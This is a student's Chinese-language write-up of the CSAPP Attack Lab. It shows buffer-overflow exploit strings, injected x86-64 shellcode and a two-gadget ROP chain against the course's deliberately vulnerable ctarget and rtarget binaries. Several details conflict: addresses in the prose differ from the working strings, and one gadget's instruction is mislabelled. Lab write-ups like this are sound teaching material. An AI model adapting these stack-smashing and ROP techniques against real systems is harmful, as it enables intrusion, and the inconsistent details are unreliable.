CSAPP: Attack Lab
一个人几乎可以在任何他怀有无限热忱的事情上成功。
Part I: Code Injection Attacks
Level 1
- 要注意小端字节序在内存中的布局
- 若Gets函数返回值不为1则出现
segmentation fault
- 进入gdb进入buf函数之后,
info frame
查看栈帧信息。getbuf
函数没有参数,局部变量的起始地址都为0x5561dc70
,在开辟栈帧时先将返回地址(i.e.getbuf函数下一条指令的地址)压入栈中0x5561dca0
处,再将栈顶指针rsp
减少0x28
到0x5561dc78
。注意输入的exploit string
的末尾会自动加上一个null
(i.e.\0000
)。还要注意little endian
的问题(比如局部变量buf数组会将栈中连续地址的内容以字节按照小端字节序来排列,返回地址是指针值64-bit,8个字节按照小端字节序排列)。因为栈开辟的栈的大小为40个字节,一个字符为1字节。因此输入40个空字符(0x00)后,再紧跟着14个十六进制数(最后会自动补上一个00)表示返回地址(i.e.touch1
的入口地址0x4018c0
),即c0 18 40 00 00 00 00
。1
2
3
4
5
6
7
8
9(gdb) info frame
Stack level 0, frame at 0x5561dca8: ; level 0表示帧由高地址向低地址增长
rip = 0x4017ac in getbuf (buf.c:14); saved rip = 0x401976 ; 返回地址0x401976
called by frame at 0x5561dcb8 ; 调用者栈帧的地址
source language c.
Arglist at 0x5561dc70, args:
Locals at 0x5561dc70, Previous frame's sp is 0x5561dca8 ; 上一帧的栈指针指向的地址为0x5561dca8
Saved registers:
rip at 0x5561dca0 ; 返回地址被保存到0x5561dca0 - 紧接着输入
./ctarget < exploit01-raw.txt -q
,phase1 passed!1
2
3
4
5
6
7
8Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00
Level 2
- 附录B中提到了,可以先编写汇编代码,通过GCC进行编译汇编但不链接,产生obj文件。最后再将obj文件用
objdump
进行反汇编,将指令的bytes code
提取出来,并通过./hex2raw
生成带有C风格的注释 - 根据题目的意思,应该就是在
level 1
的基础上getbuf
返回到一段自己的注入代码(在缓冲区中),完成将cookie传递到rdi后再执行ret指令返回到touch2
并传递一个参数来供touch2
函数进行检查。所以我们先创建一个example.s
文件然后通过GCC进行编译汇编但不进行链接,最后再使用objdump
来反汇编代码得到byte code
然后放到我们的exploit string
中,进行攻击代码注入。 - 注意ret会将栈顶元素弹出并赋给PC(因此在从注入代码返回到
touch2
时需要执行pushq
指令将touch2
的地址压入栈中,再执行ret
)。下面是攻击代码,这里我将它放到栈帧顶处0x5561dc78
。因为栈帧顶为低地址,程序执行由低地址到高地址,我们将mov指令放到栈帧顶。试了一下好像只有AT&T
语法进行反汇编才能PASS(别忘了这是GCC、OBJDUMP和其他一些工具的默认格式)。这是进行反汇编后的代码:1
2
3
4
5
6
7
8
9
10
example.o: file format elf64-x86-64
Disassembly of .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq - phase2 passed!
1
2
3
4
5
6
7
8Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00
Level 3
- 应题目要求,先将cookie中的8个hex以ASCII字符的形式来表示,随后将这个字符串放入缓冲区中,再将它的起始地址放入rdi中作为touch3的第一个参数,其中调用的hexmatch会将cookie的hex形式与ASCII形式进行比较看输出是否正确,输入参数的过程需要代码注入
- 我的cookie为
0x59b997fa
转换为ASCII为35 39 62 39 39 37 66 61
,别忘了以空字符00
作为结尾,一共占用9个字节。因为hexmatch
中s
的位置是随机的有可能会覆盖掉getbuf中的缓冲区(实验手册说明的),因此我们得把字符串的地址放在比较安全的地方,也就是调用getbuf
之前,在text
的栈帧中,于是我们选择放在text
的栈帧顶0x5561dca8
也就是getbuf缓冲区中第48个字节起始的位置。在level2的基础上,需要考虑缓冲区被随机覆盖的情况 - 反汇编后的代码:
1
2
3
4
5
6
7
8
9
10
example3.o: file format elf64-x86-64
Disassembly of .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq - 提取指令的字节序列放入缓冲区中
- phase3 passed!:
1
2
3
4
5
6
7
8Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61
Part II: Return-Oriented Programming
- RTARGET相比较于CTARGET用到了栈随机化的方式,因此很难决定注入代码的位置。以及因为可执行控制位的限制,在那一部分内存中执行注入代码会出现,
segmentation fault
的错误 - ROP(return-oriented programming),区分已经存在的字节序列,这些指令后面紧跟着ret指令。
Level 2
- 只能使用前八个寄存器(%rax~%rdi);提示了当前所需的指令序列在start_farm到mid_farm之间;只能使用两个gadgets
- 建议中提示使用会使用到
pop
指令,可以将cookie
放到test栈帧顶,然后通过pop指令将其送到指定的rdi寄存器中。但是很遗憾没有找到字节编码为0x5f
的pop %rdi
指令,然后想到可不可以将它pop到rax寄存器后再将它mov到rdi寄存器中呢?!答案是可以的 - 从farm中提取
movq %rdi, %rsi
指令,指令起始地址为0x4019c5
:1
2
300000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq - 从farm中提取
popq %rdi
指令,指令起始地址为0x4091ab
:1
2
300000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq - 在返回地址处存放gadget0<addval_219+4>的入口地址,也就是getbuf栈帧执行结束返回的地址。getbuf执行结束后,将入口地址赋给PC,程序将跳转到addval_219+4处执行popq指令,将存储在test栈帧顶的cookie弹出,然后栈顶指针rsp向高地址移动8个bit,此时指向的是gadget1<setval_426+2>的入口地址。在gadget0执行结束时,执行ret,会将gadget1的地址弹出作为PC的跳转地址并将栈顶指针向高地址移动8个bit,随后跳转到gadget1执行。紧接着在连续的地址单元中存放的是touch2的入口地址,在gadget1返回后,已经将cookie放入到rdi寄存器中作为参数,执行ret后将存放在test栈帧中的入口地址弹出,跳转到touch2中执行,完成ROP!
- 注意ret弹的是64位的地址值。
- 这时候仔细想想,前面几个level是不是也能按照这样的思路完成呢?比如说在返回地址处也放一条pop指令,随后在test栈帧处注入攻击代码。
- phase4 passed!:
1
2
3
4
5
6
7
8Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00Option考上master之后再继续完成吧